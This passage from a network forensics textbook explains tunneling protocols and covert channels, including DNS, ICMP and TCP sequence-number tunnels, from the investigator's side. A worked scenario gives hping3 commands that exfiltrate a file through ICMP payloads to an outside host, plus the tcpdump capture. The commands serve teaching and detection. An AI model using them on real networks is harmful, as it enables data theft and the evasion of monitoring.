IEEE 802.1Q is an open standard that describes an extension to the Ethernet framing
that provides support for creating “virtual” LANs (VLANS) on a single physical network.
When a frame enters the network through an edge switch, it is “tagged” with the VLAN ID
(VID) that has been assigned to the port it entered on. The Ethernet encapsulation then
retains this tag as the frame traverses bridges and core switches, with Layer 2 routing or
filtering decisions potentially made on the basis of the VLAN tag. The tag is stripped off
only when the destination’s edge switch passes the frame to the destination station.

The information in the extended Ethernet frame supports up to 4,096 different VLANS
within a single Layer 2 switched fabric. Cisco and many others refer to this as “trunking,”
as it is a virtual way of performing link or network aggregation over the equivalent of a
single physical device.

However, since 802.1Q is strictly a Layer 2 protocol, the VID and all other tagging info is
necessarily stripped away if the packet is demultiplexed by a router as it is routed between
Layer 2 networks. Consequently, 802.1Q can’t be used by itself to trunk VLANs across
routed segments.

11.1.2 Inter-Switch Link (ISL)

Why would you want to trunk VLANSs across routed segments? One of the chief benefits of
establishing VLLANSs is to support the implementation of policies that define how traffic is
routed to flow within and between them. In a complex organization, managing these policies
would be much easier if you could apply those rules to VLANs that include all of a specific
population of users, regardless of geographic location. This requires a protocol for trunking
VLANSs over WANS, across routers and firewalls.

One such protocol is Cisco’s proprietary Inter-Switch Link (ISL). ISL works by encap-
sulating the Ethernet frames in a proprietary format prior to being sent over a WAN by
the router. At the other end, the ISL protocol is deciphered by the router that receives it,
and the Ethernet frame’s original VLAN tags are restored. This requires that the routers
at both ends are configured to support Cisco’s ISL.%3

2. “Inter-Switch Link and IEEE 802.1Q Frame Format—Cisco Systems,” August 25, 2006, http://www.cisco
.com/en/US /tech/tk389/tk689/technologies_tech_note09186a0080094665.shtml#back.

3. “Wireshark Display Filter Reference: Cisco ISL,” 2011, http://www.wireshark.org/docs/dfref/i/isl.html.
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Storytime with Jonathan: ISL Misadventures

Tunneling over WANs can be a real challenge for capturing traffic contents in forensic
investigations, even when you have the full cooperation and assistance of local network
administrators. For example, Jonathan Ham writes:

Back around 2001, one of my clients was installing an instrusion detection system
(IDS) and needed help getting their IDS to work. They had installed a tap to
monitor a WAN circuit that was known to contain the traffic that they were
seeking to monitor with the IDS. The client owned both sides of the WAN link.

They discovered that their IDS was unable to decipher the traffic that was being
tapped. I fired up tcpdump, and said, “Well, there’s the problem! All the traffic is
being tunneled via Cisco ISL.” My client was using a Snort IDS, which is based
on libpcap. At the time, Snort did not support Cisco’s proprietary tunneling
protocol. Consequently, Snort could see that there were packets which contained
tunneled traffic, but couldn’t parse the contents.

As a result, my client changed their IDS deployment architecture. Instead of us-
ing taps to monitor traffic on the WAN, they did port mirroring on the endpoint
switches.

In 2002, Snort added functionality for parsing Cisco ISL traffic.

11.1.3 Generic Routing Encapsulation (GRE)

Generic Routing Encapsulation (GRE) is a published IETF protocol designed “for perform-
ing encapsulation of an arbitrary network layer protocol over another arbitrary network layer
protocol.”® Among its many uses, it is a great alternative to Cisco’s proprietary ISL. Orga-
nizations can use GRE to trunk for trunking VLANSs across routed segments. Forensic ana-
lysts can easily look up the protocol specifications for use when analyzing GRE-encapsulated
traffic.

11.1.4 IPv6 over IPv4 with Teredo

Turning our attention from the problem of trunking VLANSs over high layer protocols, we
will now examine the interoperation of IPv6 and IPv4 networks. How can networks deliver
IPv6 packets through a router that is only IPv4-enabled? This is a challenge anywhere that
IPv6 networking is used on several segments which are only connected via IPv4.

4. “‘NEOHAPSIS—Peace of Mind Through Integrity and Insight,” May 9, 2002, http://archives.neohapsis
.com/archives/snort/2002-05/0185.html.

5. S Hanks et al., “RFC 1701—Generic Routing Encapsulation (GRE),” IETF, October 1994, http://
rfc-editor.org/rfc/rfc1701.txt.
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Imagine a corporation that uses IPv6 internally on their LANs, and within their own
autonomously routed domains. However, the ISP for a remote office only supports IPv4.
The corporation needs to tunnel IPv6 traffic across the WAN link over IPv4.

Teredo is an open IETF standard that specifies a method for tunneling IPv6 over IPv4
networks.® It does this by encapsulating IPv6 packets in UDP traffic, within IPv4.

IPv4 traffic is so commonly NAT-ted that this introduces significant challenges for tun-
neling IPv6 traffic, especially when the source and/or destination stations are behind a
NAT-ting device at the tunnel endpoint. To maintain connectivity across NAT gateways,
“NAT traversal” (NAT-T) techniques are employed. Notably, Teredo provides organizations
with a solution for the NAT-T problem, allowing network engineers to tunnel IPv6 traffic
over UDP over IPv4, even when one or both endpoints are behind NAT-ting devices.

Boring Through Firewalls

The author of RFC 4320: Teredo (C. Huitema) originally named the project “Shipworm.”
Much like shipworms bore through ship hulls, the protocol was designed to bore through
NAT-ting firewalls. Deciding that the moniker might be conflated with the spate of evil
worms on the Internet, he opted to change the name to “Teredo,” after the genus of the
most common shipworm variety (Teredo portoricensis).”

11.1.5 Implications for the Investigator

Legitimate network tunnels are often used to shuttle data over WANSs in which the network-
ing technology is not fully compatible with the LANs on either end. In order to accomplish
this, traffic is encapsulated within additional Layer 2/3 protocols, sent across a network, and
unwrapped at the endpoint to reveal the original Layer 2/3 protocol headers and footers.

For forensic investigators, the primary challenge for dealing with legitimate network
tunnels is to recognize the tunneling protocol and reconstruct the tunneled traffic. Analyzing
tunneled network traffic can be a challenge; your tools may not support the protocol used
for tunneling, which makes analysis very difficult. Even sniffing traffic can be a challenge if
libpcap (or your chosen software) does not support the data-link layer protocol in use.

It is a good idea to take a sample packet capture when you begin sniffing and quickly
analyze it with a protocol dissector to make sure you can easily view the content you want.
If not, sometimes the easiest solution is to sniff from a different location on the network.
For example, rather than tapping a cable over which tunneled traffic is flowing, you might
work with local network staff to set up port mirroring on one of the endpoint devices, thus
bypassing the issue of analyzing tunneled traffic.

For functional tunnels that do not include encryption, the biggest challenge is simply
ensuring that you can recognize the tunneling protocol, and that your tools support analysis
of that protocol so that you can extract and reconstruct the tunneled traffic. If you are

6. C. Huitema, “RFC 4380—Teredo: Tunneling IPv6 over UDP through Network Address Translations
(NATSs),” IETF, February 2006, http://rfc-editor.org/rfc/rfc4380.txt.

7. C. Huitema, “(ngtrans) Renaming Shipworm as Teredo?,” December 19, 2001, http://www.atm.tut.fi/
list-archive/ngtrans/msg00776.html.
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working with an undocumented protocol, your analysis may include painstaking manual
deconstruction and reassembly.

11.2 Tunneling for Confidentiality

We've seen that we can build tunnels to route traffic between networks and in other ways
that allow disparate sites to be connected. In addition to achieving this functionality, orga-
nizations also want to make sure that their tunneled traffic remains confidential, even when
routed over public segments. Early tunneling protocols such as GRE did not address issues
of confidentiality. It was initially assumed that they would be used across private networks.

Once upon a time, organizations purchased leased lines to connected remote sites. They
called the networks that resulted “private” because the organizations had dedicated use and
control of both the endpoints and the links between them. As the Internet evolved, it became
cheaper to use publicly accessible networks to route traffic between sites than private leased
lines. Organizations wanted to create “virtual private networks,” which would allow them
to take advantage of the cheaper shared links, while keeping their own data private.

Over time, protocol designers published standards such as Internet Protocol Security
(IPsec), Secure Socket Layer (SSL), and its successor, Transport Layer Security (TLS),
which were designed to provide end-to-end encryption (and therefore confidentiality) of
encapsulated traffic regardless of the route traversed.

11.2.1 Internet Protocol Security (IPsec)

Internet Protocol Security (IPsec)® was designed to implement virtual private networking.
The authors had several goals: to provide for mutual authentication between nodes, message
integrity, and confidentiality. Since it was an open standard, it was a popular way to create
virtual private networks (VPNs) (and still is).

IPsec is not just a single protocol; it is actually a suite of protocols. Conceptually, it is
a Layer 3 protocol suite. IPsec can work with both IPv4 and IPv6 packets. It was actually
designed to be natively part of the IPv6 protocol suite. When used with IPv6, it truly is a
Layer 3 protocol, in that it is just an extended IP header (one good reason to migrate to
IPv6). However, when used with IPv4, it operates above IP (which is also Layer 3).

There are three main protocols within the IPsec suite that are used to establish “Security
Associations” (SAs). The first protocol handles key generation and negotiation between
the endpoints. This is typically accomplished with Internet Key Exchange (IKE).%1° The
second protocol is “Authentication Header” ! (AH), which is used to provide node-to-node

8. S. Kent and R. Atkinson, “RFC 2401—Security Architecture for the Internet Protocol,” IETF, November
1998, http://rfc-editor.org/rfc/rfc2401.txt.

9. D. Harkins and D. Carrel, “RFC 2409—The Internet Key Exchange (IKE),” IETF, November 1998,
http://rfc-editor.org/rfc/rfc2409.txt.

10. S. Kent and K. Seo, “RFC 4301—Security Architecture for the Internet Protocol,” IETF, December
2005, http://rfc-editor.org/rfc/rfc4301.txt.

11. S. Kent and R. Atkinson, “RFC 2402—IP Authentication Header,” IETF, November 1998, http://
rfc-editor.org/rfc/rfc2402.txt.
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authentication and integrity protection for most of the IP header and all of its contents. The
third protocol is “Encapsulating Security Payload” (ESP),'? which provides confidentiality
of the packet payloads.

Forensic investigators are likely to encounter IPsec tunneled traffic when investigating
traffic flowing between two remote sites of an organization that are connected by a site-to-
site IPsec VPN tunnel or when analyzing traffic from a laptop that is connected via a VPN
client to a central server.

For example, imagine that you are investigating a suspect on a university guest network.
You don’t have access to the suspect’s laptop, and you don’t have access to the remote
endpoint site to which she is connecting. With the cooperation of the university staff, you
can gain access to the packets that are traversing the network, which are IPsec-encapsulated.

What kinds of evidence are forensic analysts likely to recover from IPsec-encapsulated
traffic? That depends on how the endpoints have been configured (we are assuming that
you do not have the ability to decapsulate the traffic).

IPsec can function in two basic modes: tunnel mode and transport mode.

e In tunnel mode, the entire original IP packet is encapsulated within a new IP packet,
and a completely new IP header is prepended. As a result, the original IP packet is
fully encrypted, including the IP header information.

e In transport mode, the original IP header and payload are split. The new IP payload
consists of the old payload plus the IPsec header that has been tacked on the front of
it. ESP/AH protects the confidentiality and integrity of the old payload, plus the IPsec
header itself. The original IP header is glued back in front. Certain IP header fields
such as ECN, TTL, or flags may be modified, but the source/destination addresses
remain the same.

As a result, forensic analysts can recover evidence regarding the source and destination
of the tunnel endpoints when IPsec is used in transport mode, but not in tunnel mode. In
transport mode, the original source and destination are still visible in the IP packet header.
In tunnel mode, the source/destination information is encrypted along with the original
payload.

Also, in tunnel mode, the initial setup happens over port 500, and beyond that they are
normal IP packets with protocol 50 and 51. These IP packets are not typically encapsulated
in a Layer 4 protocol at all once the SA has been established.

In transport mode, the establishment of the SA with IKEv2 and all the subsequent AH-
or ESP-encapsulated traffic is transmitted via IP over UDP on port 4500 by default. Cisco
and other manufacturers also support using TCP, rather than UDP, to improve reliability
(default TCP 10000 on Cisco devices).

11.2.2 Transport Layer Security (TLS) and Secure Socket Layer (SSL)

Transport Layer Security (TLS), a successor to the Secure Socket Layer (SSL), was derived
from Netscape’s efforts to provide an encryption layer for HT'TP traffic (and possibly other

12. S. Kent, “RFC 4303—IP Encapsulating Security Payload (ESP),” IETF, December 2005, http://
rfc-editor.org/rfc/rfc4303.txt.
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traffic as well). SSL was originally developed by Netscape in the early 1990s, and multiple
revisions were released. It was a proprietary standard, although Netscape published it and
has since granted the public a royalty-free license to use SSL and its derivative, TLS. SSL
was fairly forward-looking in that it employed asymmetric encryption for certificate-based
authentication and end-to-end symmetric encryption for confidentiality. Pretty clever stuff!
Although SSL has since been superceded by TLS, there is still network equipment on the
Internet that employs older versions of SSL that are known to use flawed cryptographic
implementations.

TLS is a published IETF standard intended to supplant SSLv3. The name “Transport
Layer Security” is a little misleading, in that it does not operate at the transport layer (Layer
4). Rather, it is designed to provide session-layer (Layer 5) encryption and authentication
services above the transport layer.

We can contrast this with IPsec, which is designed to provide encryption between end-
points at Layer 3, upon which any arbitrary transport can be protected. Using IPSec in
tunnel mode, it is possible to conceal the ultimate tunnel endpoints; with SSL and TLS this
is neither possible nor a goal of the design. When using SSL or TLS; it’s up to the applica-
tion seeking transport service to decide whether or not to support or employ authentication,
privacy, or integrity checking.

TLS can be used as a generic VPN protocol. In recent years, TLS has exploded in
popularity for this purpose, and manufacturers such as Cisco, SonicWALL, Juniper, and
others have added built-in support for TLS-based VPNs to their routers. OpenVPN, the
popular open-source VPN tunneling suite, is based on SSL/TLS. In these cases, the IP
packet is encapsulated within a session-layer TLS segment, which is typically routed using
TCP/IP to the tunnel endpoints. (Please see Chapter 10 for more details on TLS and SSL.)

For forensic investigators, here are some key points to keep in mind when analyzing TLS-
or SSL-encrypted traffic:

e When you analyze TLS-encrypted traffic, expect to find encryption at the session layer
(not the transport layer, as the name implies).

e The network-layer details (i.e., source and destination IP addresses), as well as the
transport-layer details (i.e., source and destination TCP ports) of TLS-encrypted traf-
fic are clearly visible and recoverable by a forensic investigator. This is huge! If all you
have are IP headers alone, you can do flow-based analysis to determine dates, times,
sources, and destinations of connections, as well as the rate and volume of data flow for
any period. If you’'ve got transport-layer headers as well, you can determine the state
of connections, the length of the connection, and infer the types of applications used
(in many cases). Even if the application content is unrecoverable due to encryption,
you can do extensive analysis based on lower-layer header information.

e TLS is ubiquitous and is based on public key technology and certificates. If you can
recover the appropriate certificate and private key, you may be able to use common
tools such as Wireshark or tshark to easily decipher the entire tunnel. (See Section
10.6.2.1 for details.)
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11.2.3 Implications for the Investigator

Tunnels designed for confidentiality pose a serious challenge for investigators. In some cases,
tunneling protocols may encrypt just the payload of the tunneled traffic, leaving the Layer
2/3 endpoints of the tunneled traffic exposed. Even though investigators may not be able
to recover the higher-layer content of the traffic, it may still be possible to identify endpoint
IP addresses and conduct statistical flow record analysis (see Chapter 5, “Statistical Flow
Analysis”).

In other cases, the entire tunneled frame or packet is encrypted, including the origi-
nal Layer 2/3 headers, which makes it impossible for the investigator to identify even the
endpoints of the tunneled traffic. In these situations, the investigator is left to conduct
timing-based analysis of the volume of traffic sent and received. Usually the best-case sce-
nario is when the investigator can find another point on the network to intercept the traffic
and bypass the tunneled protocol altogether.

11.3 Covert Tunneling

Tunneling has generated some buzz in recent years. As more enterprises introduce restrictive
web proxies and monitoring, a small but growing percentage of visitors and employees are
using tunneling techniques to evade these restrictions. As a result, covert tunneling tools
have become more prevalent and mature.

11.3.1 Covert Tunneling Strategies

The most common approach for creating covert tunnels is to embed arbitrary IP traffic
in protocols with data fields large enough to accommodate reasonable throughput. For
this purpose, it is best to select higher-layer protocols that are commonly allowed through
firewalls.

ICMP is a good choice because of the near-ubiquitous allowance of outbound echo re-
quests and inbound echo replies. This yields a very ripe field for covert channels because the
protocol payloads can carry any arbitrary data in any arbitrary amount. DNS is another
good selection. We look at both ICMP and DNS tunneling in the next sections.

Once a protocol is selected, the attacker needs to set up both a local client and a remote
listener that can extract the tunneled traffic and forward it elsewhere as necessary. In order
to prevent hijacking, tunneling tools often use authentication (usually password-based) to
control access to the remote listener. To evade detection, some tools employ encryption and
obfuscation techniques, hiding the contents of traffic in transit to foil content-based IDS
analysis.

Tunneling tools also provide options for slowing the rate of packet transmission, to reduce
the volume of suspicious traffic flowing across the network (there are only so many legitimate
DNS queries one system can make!). However, this also slows down communication and
makes the tunnel less useful for the user, so there is an obvious tradeoff between covertness
and usability.

11.3.2 TCP Sequence Numbers

Here is a sneaky theoretical example of tunneling using TCP sequence numbers (which are
32 bits): For every SYN packet that a system sends, it must generate a random 32-bit initial
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sequence number. Someone wishing to tunnel data outbound in a very covert way could
encrypt their data, thus making it appear pseudo-random, chop it up into 32-bit chunks,
and embed it as the initial sequence number of TCP SYN connection attempts to an external
server.

Likewise, any system responding to a large number of TCP SYN packets (such as a
web server or any other system that is quite busy) has to come up with initial sequence
numbers for its SYN/ACK responses. An attacker could co-opt the server’s TCP stack
so that every initial sequence number that it generated for every SYN/ACK was a 32-bit
chunk of encrypted data. In this manner, you could build a two-way covert communications
channel, in any environment in which a high number of independent TCP connections are
established and disconnected.

Is that evil or what?

11.3.3 DNS Tunnels

In Section 4.4.1.4, “Domain Name System (DNS),” we studied DNS, which is a distributed
hierarchical system for mapping domain names to IP addresses. In order to function as
designed, DNS servers accept queries from clients that can contain arbitrary user-selected
data and, if needed, they can shuttle these requests along to remote servers. In short, DNS
servers can be manipulated to function as proxies for tunneled traffic.

How does this work? There are three characteristics of the DNS protocol that make it
well suited for covert tunneling. First, DNS is fundamental to normal activities such as web
browsing, which require clients to constantly resolve new domains. Most organizations allow
recursive DNS queries to arbitrary domains for this reason.

Second, by design the DNS protocol can be used to communicate queries from internal
clients to external remote servers. An attacker can specify the authoritative name server for
a domain. If a client makes a DNS query for a server in that domain, other DNS servers along
the way that do not have the answer cached will recursively query nameservers until the
authoritative name server responds. If the client is configured to make requests for random-
ized hostnames within the attacker-controlled domain, the local DNS server will not have
these random hostnames cached, and will be forced to recursively query the authoritative
name server each time (unless this functionality is disabled). In this way, the attacker can
ensure that an internal client will be able to reliably send messages to and receive responses
from the remote attacker-controlled server.

Third, the DNS protocol includes several excellent fields that can be used to smuggle
data, including NULL, TXT, SRV, or MX. For example, according to RFC 1035, the DNS
NULL record can contain 65,535 bytes of any type of data, as shown below: '3

3.3.10. NULL RDATA format (EXPERIMENTAL)
e e e e e e et e et e e s el L et 4
/ <anything> /
/ /
e e e et e e e e e
Anything at all may be in the RDATA field so long as it is 65535 octets or
less.

13. P. Mockapetris, “RFC 1035—Domain Names: Implementation and Specification,” IETF, November 1987,
ftp://ftp.rfc-editor.org/in-notes/rfc1035.txt.
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Common types of DNS records include A records, MX records, and PTR records. NULL
records are rarely used.

Forensic investigators can detect DNS tunneling by looking for high volumes of DNS
requests and responses, queries for many unusual hostnames, or requests for unusual DNS
types such as NULL records.

11.3.3.1 iodine

Iodine is an open-source tool designed to “tunnel IPv4 data through a DNS server.” !4 It
was developed by Bjorn Andersson, Erik Ekman, and Anne Bezemer. According to the
README.txt file, “The name iodine was chosen since it starts with IOD (IP Over DNS)
and since iodine has atomic number 53, which happens to be the DNS port number.” ' By
default, iodine transmits data over DNS NULL record queries and responses for subdomains
under an attacker-controlled domain.'® The tool also supports tunneling over TXT, SRV,
MX, CNAME, and A records.

Although the tunneled traffic is chopped into little bits and encapsulated within the
undocumented iodine tunneling protocol, it is possible for investigators to reconstruct the
tunneled traffic. The authors caution that “the tunneled data traffic is not encrypted at all,
and can be read and changed by external parties relatively easily. For maximum security,
run a VPN through the DNS tunnel (=double tunneling), or use secure shell (SSH) access,
possibly with port forwarding.” In other words, users may tunnel within the tunnel to add
confidentiality and integrity to their communications.!”

11.3.4 ICMP Tunnels

ICMP is the “troubleshooting” protocol of the Internet. It is embedded in IP packets and
routed by the IP protocol. According to IANA, ICMP is protocol number “1,” as specified
in the “Protocol” field of the IPv4 header.'®

ICMP has many different types and codes to reflect the multitude of purposes and uses
for this protocol. For example, ICMP type 3 messages indicate “Destination Unreachable.”
For type 3 messages, the “code” includes more information about why the destination was
unreachable, ranging from code 0 (“Network Unreachable”) through code 13 (“Communi-
cation Administratively Prohibited”).

Another common ICMP type is type 11, “Time Exceeded,” with the two codes “0” (“T'TL
Exceeded in Transit”) and “1” (“Fragment Reassembly Time Exceeded”). Commonly, when
a type 3 or type 11 message is sent, the payload contains the IP header and possibly also

14. “kryo.se: iodine (IP-over-DNS, IPv4 over DNS tunnel),” February 6, 2010, http://code.kryo.se/iodine/.
15. Bjorn Andersson and Erik Ekman, “iodine readme,” 2002, http://code.kryo.se/iodine/README.html.

16. Erik Ekman and Bjorn Andersson, “iodine(8): tunnel IPv4 over DNS—Linux man page,” 2011, http://
linux.die.net/man/8/iodine.

17. “jodine readme.”

18. “Protocol Numbers,” July 11, 2011, http://www.iana.org/assignments/protocol-numbers/protocol-
numbers.xml.
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the Layer 4 header of the packet that elicited the ICMP error response (according to RFC,
the payload should contain the “Internet Header + 64 bits of Original Data Datagram”).
In this way, the system receiving the error message can understand which of the packets it
sent caused the error condition.?’

ICMP type 8 (“echo request”) and type 0 (“echo reply”) are particularly well suited
for covert tunneling. ICMP type 8 is very commonly allowed outbound, and type 0 is very
commonly allowed inbound (though not usually the reverse). The structure of an ICMP type
8 or type 0 packet contains the type and code, a checksum, an identifier, and a sequence
number for the requests and replies. Beyond that, any arbitrary data is allowed, in any
amount. According to RFC 792, “Internet Control Message Protocol,” the only restriction
on the content of ICMP echo request and echo reply messages is that “The data received
in the echo message must be returned in the echo reply message.” 2! However, it is rare for
this stipulation to be strictly enforced.

In practice, the content of ICMP echo request and echo reply payloads is limited by the
theoretical maximum size of an IP packet, 65,535 bytes. However, ICMP packets of excessive
sizes are abnormal and tend to cause alerts in IDS systems. Furthermore, many ICMP echo
request and echo reply segments are blocked by stateful firewalls filtering outbound traffic.

Note that if the purpose of the tunnel is simply to exfiltrate data, it may not be necessary
to set up a remote host to respond to the ICMP echo request packets. In this case, the
attacker would only need to set up a host that can monitor the external segment where
the ICMP echo requests are sent, and would not even need to set up an actual host at the
destination address.

See Figure 11-1 for ICMP protocol details.

11.3.4.1 hping3

The hping3 utility is a powerful open-source tool designed to send arbitrary packets with
protocol, size, timing, and content specified by the end-user. The default transport-layer
protocol is TCP, although alternate options include UDP and ICMP. 22

Bytes 0 1 2 3
0x00 Type Code Checksum
0x04 Data (Specific to TypeandCode)

Figure 11-1. Chart of the ICMP Header data structure (echo/echo reply).

19. J. Postel, “RFC 792—Internet Control Message Protocol,” IETF, September 1981, http://www.rfc-
editor.org/rfc/rfc792.txt.

20. Ibid.
21. “RFC 792—Internet Control Message Protocol.”
22. Salvatore Sanfilippo, “Hping—Active Network Security Tool,” 2006, http://hping.org/.
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You can use hping3 as a rudimentary tunneling tool. Conveniently, the “-E” option allows
you to specify a file with which to fill the packet’s payload. For example, in the command
below, we send ICMP packets (the “-1” flag) with body size 1,400 bytes (the “-d” flag) to
some.recipient.com, with the payloads filled by the file “secret_data.xls”:

Sender:

$ hping3 -E secret_data.xls -1 -u -d 1400 some.recipient.com

Sniffer:

$ tcpdump -i ethO -s O -w secret_data.pcap 'host some.recipient.com and icmp'

Hping3 will send out a series of ICMP packets containing the contents of the specified
file, which are then captured by the monitoring system on the receiving segment and stored
in a .pcap file.

Sophisticated? No. Effective? Yes.

11.3.4.2 Loki

Loki was a proof-of-concept information tunneling tool released by daemon9 in an issue

of Phrack magazine (1997). It was designed to tunnel information through the payloads of

ICMP echo request/reply packets (it is also capable of tunneling through DNS queries/re-

sponses). Since most network devices at the time allowed ICMP echo request/reply traffic

for network troubleshooting purposes, they were an effective vehicle for tunneling traffic. 23
Regarding the purpose of Loki, daemon9 wrote:

Astute readers will note that Loki is simply a form of steganography.... It can
be used as a backdoor into a system by providing a covert method of getting
commands executed on a target machine. It can be used as a way of clandestinely
leeching information off of a machine. It can be used as a covert method of user-
machine or user-user communication. In essence the channel is simply a way to
secretly shuffle data (confidentiality and authenticity can be added by way of
cryptography).*

Loki allowed users to encrypt the tunneled traffic using the algorithm of their choice (options
ranged from Blowfish [strong] to XOR [weak]).

11.3.5 Example: ICMP Tunnel Analysis

In this section, we use the following scenario to illustrate tunnel analysis tools and
techniques.

23. daemon9, “Loki2 (The Implementation),” Phrack Magazine, no. 51 (1997), http://www.phrack.org/
issues.html?issue=51&id=6.

24. daemon9, “Project Loki,” Phrack Magazine, no. 49 (1996), http://www.phrack.org/issues.html?issue=49
&id=6#article.
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Scenario: Smuggling Secrets

The Case: Deep in the underground lair at the Secret Underground Nuclear Missile Facility,
Ann Dercover has found a spreadsheet containing launch codes which she would like to upload
to her remote server. Unfortunately, it appears that the server she’s hacked is prevented from
making outbound connections to the Internet. Protocols including HTTP, HTTPS, SMTP,
FTP, SSH, and others are blocked.

Happily, Ann discovers that from the server she can ‘‘ping’’ remote hosts and receive
replies. What luck! ICMP echo requests are allowed outbound, and ICMP echo replies are
allowed back in. She only has a few simple commands at her disposal, and time is running
out. Perhaps the Missile Facility is too big and busy to monitor all the ICMP traffic . ..

What if Ann has a server on the outside that she controls, which monitors and records
traffic destinated for that segment? She could tunnel any arbitrary content outbound in the
payloads of a series of ICMP echo requests bound for any IP address on an external segment
that she can monitor, whether a host exists at the specific destination address or not.

To accomplish this, Ann merely needs to capture the contents of the ICMP echo request
packets bound for the nonexistent IP address, strip out the contents, and reconstruct the
original data. (If she wants to be slick about it, she could encrypt the contents of the data
prior to stuffing it in the ICMP payloads.)

11.3.5.1 The Attack

In the example below, Ann uses the tool “hping3” to stuff the spreadsheet into the payload
of ICMP echo request packets and tunnel it out. At the other end, she is already running
tcpdump to sniff all the incoming ICMP packets from her origin. Later, she can carve the
file out of the packet contents and reconstruct it.

In this demonstration, the “inside” server is the origin of the data. The “outside” server
is sniffing traffic on the remote subnet and will capture the payload contents. Notice the
presence (or lack) of a system to respond with ICMP echo replies is of no consequence for
exporting data in a unidirectional tunnel. All Ann needs is a system that can monitor the
remote network for ICMP traffic.

First, the outside system begins sniffing traffic, as shown below. Ann could have started
this process well before her incursion into the Secret Underground Nuclear Missile Facility.
In the command below, the host “172.16.16.221” is the remote address to which Ann directs
ICMP traffic. [Note that for the purposes of this example, we are treating 172.16.16.221
as an IP address on “the Internet.” In real life, this is part of a reserved non-routable TP
address space.]

Outside (sniffing packets):
# tcpdump -i ethO -s 0 -w launch_codes_xls.pcap 'host 172.16.16.221 and icmp'

tcpdump: listening on ethO, link-type EN1OMB (Ethernet), capture size 65535
bytes



436 Chapter 11  Network Tunneling

Next, on the inside server, Ann selects the file to be sent. In this case, it is “launch _codes.xls.”
She cryptographically hashes the file before sending so that she can verify later on that the data
isintact.

Inside (cryptographically hashes the file before sending):

$ sha256sum launch_codes.xls
b50049d8c706f8e3f094edcc7b215d7054e2b6824e3026aafdfabb39f6b94007
launch_codes.xls

In the command below, Ann uses hping3 to chop the spreadsheet into 1,400-byte chunks
and embed this in ICMP echo request packet payloads. Notice that hping3 continues to send
packets until the end of the file (EOF) is reached, and then it begins to send again until
manually terminated.

We can see that the file in this case is split across 12 echo request packets with payloads
of 1,400 bytes each. This makes sense because the original file size was 15,872 bytes, far too
large to fit into a single typical Ethernet packet with an MTU of 1,500 bytes. Therefore,
Ann needed to split it into smaller chunks.

# hping3 -E launch_codes.xls -1 -u -d 1400 172.16.16.221
HPING 172.16.16.221 (ethO 172.16.16.221): icmp mode set, 28 headers + 1400
data bytes

len=1428 ip=172.16.16.221 ttl1l=64 id=32995 icmp_seq=0 rtt=3.0 ms
len=1428 ip=172.16.16.221 ttl=64 id=32996 icmp_seq=1 rtt=3.5 ms
len=1428 ip=172.16.16.221 ttl=64 id=32997 icmp_seq=2 rtt=2.9 ms
len=1428 ip=172.16.16.221 ttl=64 i1d=32998 icmp_seq=3 rtt=3.5 ms
len=1428 ip=172.16.16.221 ttl=64 id=32999 icmp_seq=4 rtt=2.9 ms
len=1428 ip=172.16.16.221 ttl=64 i1id=33000 icmp_seq=5 rtt=3.5 ms
len=1428 ip=172.16.16.221 ttl=64 id=33001 icmp_seq=6 rtt=3.0 ms
len=1428 ip=172.16.16.221 ttl=64 i1d=33002 icmp_seq=7 rtt=3.5 ms
len=1428 ip=172.16.16.221 ttl=64 id=33003 icmp_seq=8 rtt=3.0 ms
len=1428 ip=172.16.16.221 ttl=64 id=33004 icmp_seq=9 rtt=3.5 ms

len=1428 ip=172.16.16.221 ttl=64 id=33005 icmp_seq=10 rtt=3.0 ms
EOF reached, wait some second than press ctrl+c

len=1428 ip=172.16.16.221 ttl1l=64 id=33006 icmp_seq=11 rtt=3.4 ms
--- 172.16.16.221 hping statistic ---

12 packets transmitted, 12 packets received, 0% packet loss
round-trip min/avg/max = 2.9/3.2/3.5 ms

Finally, the packets are captured by the remote sniffing process, where Ann can later
retrieve them.

11.3.5.2 Packet Capture Analysis

In Figure 11-2 we see the captured packets in a screenshot of Wireshark. Frame #17, which
is an ICMP echo request, has been selected. In the Packet Details view we plainly see that it
contains 1,400 bytes of data in the ICMP payload. In the Packet Bytes panel below, we can
see a section of the packet payload, which is just a fragment of the original file (frame #1
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File Edit View Go Capture Analyze Statistics Telephony Tools Help

EL = wBxc&Qe»>3F & [EE I Qaaf

Fill:er:l w | Expression... | Clear | Apply
MNo. - |Time |Source |Destination |Protocol |InFo
15 7.001755 192.168.1.30 172.16.16.221 ICMP Echo (ping) request
172.16.16.221 192. ICMP Echo (ping) reply

7 8 97 9 72. 1€ 22 {ping) request

18 8.001451 172.16.16.221 192. 1. ICMP Echo (ping) reply
19 9.002102 192.168.1.30 172.16. 16. ICMP Echo (ping) request

Frame 17 (1442 bytes on wire, 1442 bytes captured)
Ethernet II, Src: CompalIn_ch:ld:el (00:26:22:ch:1d:el), Dst: QuantaCo_B2:1f:4a (00:23:8b:82:1f:4a)
Internet Protocol, Src: 192.168.1.30 (192.168.1.30), Dst: 172.16.16.221 (172.16.16.221)
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0 ()
Checksum: Oxcdla [correct]
Identifier: OxS408
Sequence number: 2048 (0x0800)

Data: OCOOOSFFOOOO3F3F7EFF250005000206000E000SFFOROO7F. ..

] = = =

[Length: 1400]

0420 ) ( 0 0 o 50 coooocooo
0430 ] o o Zocooooo
0440 : e . 2 2 -
0450
0460
0470
0480
0490
0430

04bo 1¢ o : e
04cO E ) ) 00 © 42 €5 01l CONEM. ....... sooalEls oo
([ Data (data), 1400 bytes {| Packets: 24 Displayed: 24 Marked: 0

Figure 11-2. An ICMP packet that contains tunneled spreadsheet data.

contains the beginning of the file). Notice the tabular data, presumably contained in cells
of an Excel spreadsheet. These include fragments of text such as “Missile ID,” “Code 0,”
and “fluffy.” Hmm ... if these are missile codes, they’re pretty terrible. Perhaps the Secret
Underground Nuclear Missile Facility has bigger security problems?

It is possible to extract and reconstruct the transferred file using Wireshark and a hex
editor, though Wireshark’s ICMP protocol analyzer was not built on the assumption that
ICMP echo response/reply payloads are of interest or that they would contain data that
spans multiple packets. In order to reconstruct that data with Wireshark, you would need
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A B G
Missile ID Code One Code Two
=04.21 abcdef 123456
=05.4.3 fluffy code2!

= L) Rl —=

Figure 11-3. The Excel (.xIs) spreadsheet, carved out of ICMP packet payloads and
reassembled.

to extract and save the packet bytes corresponding to the data segments of each of the
ICMP packets. Then you would need to reassemble them in the correct order and extract
the embedded file based on magic numbers.

After extracting all 12 fragments from the ICMP packet payload and reassembling using a
hex editor such as Bless, we see that the packet capture indeed contains an Excel spreadsheet.
